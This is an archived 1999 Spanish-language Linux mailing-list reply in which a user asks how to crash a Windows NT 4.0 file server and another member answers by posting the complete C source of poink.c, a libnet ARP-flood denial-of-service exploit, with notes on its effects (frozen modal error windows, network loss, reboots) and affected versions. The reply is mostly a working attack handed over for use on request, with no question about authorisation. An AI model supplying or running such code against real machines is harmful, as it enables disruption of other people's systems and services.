[Previo por Fecha] [Siguiente por Fecha] [Previo por Hilo] [Siguiente por Hilo]

[Hilos de Discusión] [Fecha] [Tema] [Autor]

Re: [Sop.Tec.LinuxMX] [Fwd: Duda: Como tirar NT en 3 simples pasos]



On Mon, 21 Jun 1999, Mario Camou wrote:

> Hola a todos,
> 
> Tengo esta duda que me mando un amigo. Alguna idea?
> 
> -Mario.
> 
> -------- Original Message --------
> Chamacos (mentores, Jedi Masters y proto-gurus):
> 
> Mi jefe acaba de encomendarme una mision imposible; si decido
> aceptarla puedo hacer que se de cuenta que NT son las siglas de No
> Trabaja.
> 
> La miccion consiste en hacer que un server NT instalado en una tarjeta
> IPCS (integrated PC Server) de un AS/400 truene; se caiga, deje de
> prestar servicios, muera, etc. Dicha tarjeta funciona como un server
> Intel tradicional con la salvedad que esta compartiendo recursos del
> AS/400 (disco, memoria, unidad de CD y tarjeta de red (no direccion
> IP)). Se que con pararme delante del AS/400 y gritarle fuerte: !!!!
> ARRIBA LINUX !!!!! es muy probable que se invoque automaticamente la
> pantalla azul requerida; no obstante, necesito para fines practicos y
> profesionales (al menos ante los ojos de mi jefecito) un procedimiento
> ligeramente mas sofisticado que invoque los sacrosantos poderes de La
> Fuerza (use the Force Luke !!).
> 
> En concreto (despues de este pequeno rollo introductorio), alguien
> tiene alguna liga a un site o algun procedimiento que indique que debo
> hacer para tronar un server Intel con WinNT 4.0 ????
> 
> El server en cuestion no da servicios de Internet de ningun tipo, es
> un vulgar servidor de archivos que ni siquiera lleva la carga de
> resolucion de nombres del dominio ni nada parecido.
> 
> Esperando que disculpen mi ignorancia en la materia (recuerden que
> estamos en paniales en manejo de redes en esta 3H compania) y que,
> despues de calmar su ataque de risa, tengan al menos 3 segundos para
> dedicarle a un aprendiz de Jedi queda de ustedes su S.S.
> 

/*
 *  $Id: poink.c,v 1.1 1999/04/15 06:51:04 route Exp $
 *
 *  poink.c - NT/9x DOS attack
 *
 *  Code:
 *  Copyright (c) 1999 Mike D. Schiffman <mike en infonexus com>
 *                         route|daemon9 <route en infonexus com>
 *  All rights reserved.
 *
 *  Original Idea:
 *  Joel Jacobson (joel en mobila cx)
 *
 *  This simple exploit was written as per the specification from Joel
 *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
 *
 *  Needs libnet 0.99.  http://www.packetfactory.net/
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <libnet.h>

u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

int send_arp(struct link_int *, u_long, u_char *);
void usage(u_char *);

int
main(int argc, char *argv[])
{
    int c, amount;
    char errbuf[256];
    char *device = NULL;
    struct link_int *l;
    u_long ip;

    amount = 20;
    while ((c = getopt(argc, argv, "n:i:")) != EOF)
    {
        switch (c)
        {
            case 'i':
                device = optarg;
                break;
            case 'n':
                amount = atoi(optarg);
                break;
            default:
                exit(EXIT_FAILURE);
        }
    }

    if (!device)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    if (argc <= optind)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }
    else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
    {
        fprintf(stderr, "Cannot resolve IP address\n");
        exit(EXIT_FAILURE);
    }

    l = libnet_open_link_interface(device, errbuf);
    if (!l)
    {
        fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
        exit(EXIT_FAILURE);
    }

    while (amount--)
    {
        c = send_arp(l, ip, device);
        if (c == -1)
        {
            /* bail on the first error */
            break;
        }
    }
    printf("\n");
    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}


int
send_arp(struct link_int *l, u_long ip, u_char *device)
{
    int n;
    u_char *buf;

    if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
    {
        perror("libnet_init_packet memory:");
        exit(EXIT_FAILURE);
    }

    /*
     *  Ethernet header
     */
    libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0,
buf);

    /*
     *  ARP header
     */
    libnet_build_arp(ARPHRD_ETHER,
        ETHERTYPE_IP,
        6,
        4,
        ARPOP_REQUEST,
        enet_src,
        (u_char *)&ip,
        enet_dst,
        (u_char *)&ip,
        NULL,
        0,
        buf + ETH_H);

    n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);

    fprintf(stderr, ".");

    libnet_destroy_packet(&buf);
    return (n);
}


void
usage(u_char *name)
{
    fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
}

/* EOF */

 Que es lo que hace? El deficiente manejo del protocolo ARP por parte de
NT hace que se produzca un mensaje de error por cada paquete generado por
este programa. Oh si, el mensaje de error se muestra en una ventana modal
que no se puede cerrar a traves de la tipica 'X', ni permite el uso de
Ctrl-Alt-Del, ni obtener el Task Manager, y deja de funcionar la red para
la maquina NT afectada... Ese es el mejor de los casos. Con maquinas de
menor capacidad varia de paralisis total a reinicio espontaneo de la
maquina. No, por el momento no hay parche existente para dicho problema, y
no es cuestion de "deshabilito ARP y ya" porque no es posible, ya que es
indispensable en redes que usan NICs (Network Interface Card). No, no 
pueden tirar una conexion con PPP, ya que no utiliza ARP. Funciona con 
Win98/Win98/NT hasta 4.0 sp 4 (no he probado con el sp 5).

 Dudas sobre el codigo (teoria, compilacion y prueba) y/o flamazos > /dev/null 

					Saludos
-- 
 (o-  Cristian Othon Martinez Vera <cfuga en itam mx>  Pulchrum est paucorum
//\      http://eniac.rhon.itam.mx/~cfuga/          hominum.
v_/_



[Hilos de Discusión] [Fecha] [Tema] [Autor]